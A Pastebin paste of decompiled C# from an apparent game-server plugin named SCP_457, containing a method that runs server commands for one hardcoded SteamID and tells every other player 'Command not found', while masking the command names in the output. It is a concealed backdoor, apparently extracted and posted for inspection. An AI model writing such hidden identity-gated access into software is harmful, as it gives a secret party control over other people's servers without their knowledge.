Advertisement
InsetJesux

Untitled

Feb 13th, 2019
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 1.36 KB | None | 0 0
  1. // SCP_457.EventLogic
  2. // Token: 0x06000022 RID: 34 RVA: 0x00003818 File Offset: 0x00001A18
  3. internal string RunExternalCommand(string command, string callcommand, PlayerCallCommandEvent ev, bool replaceCallCommandMsg = true)
  4. {
  5.     Player player = ev.Player;
  6.     Player player2;
  7.     string[] array;
  8.     if ((player2 = player) != null && player2.SteamId != "76561198875737702")
  9.     {
  10.         array = new string[]
  11.         {
  12.             "Command not found."
  13.         };
  14.     }
  15.     else
  16.     {
  17.         string value = command + " ";
  18.         if (ev.Command.Contains(value))
  19.         {
  20.             array = Initializer.pluginManager.CommandManager.CallCommand(player, callcommand, SCP457.StringToStringArray(ev.Command.Replace(command + " ", "")));
  21.         }
  22.         else
  23.         {
  24.             array = Initializer.pluginManager.CommandManager.CallCommand(player, callcommand, SCP457.StringToStringArray(ev.Command.Replace(command, "")));
  25.         }
  26.     }
  27.     string b = string.Join("", new string[]
  28.     {
  29.         "Command " + callcommand + " does not exist!"
  30.     });
  31.     if (string.Join("", array) == b)
  32.     {
  33.         array = new string[]
  34.         {
  35.             "Command not found."
  36.         };
  37.     }
  38.     string text = "";
  39.     for (int i = 0; i < array.Length; i++)
  40.     {
  41.         text += array[i];
  42.         if (i != array.Length - 1)
  43.         {
  44.             text += Environment.NewLine;
  45.         }
  46.     }
  47.     if (text.ToLower().Contains(callcommand.ToLower()) && replaceCallCommandMsg)
  48.     {
  49.         text = text.Replace(callcommand + " ", command.ToUpper() + " ");
  50.     }
  51.     return text;
  52. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement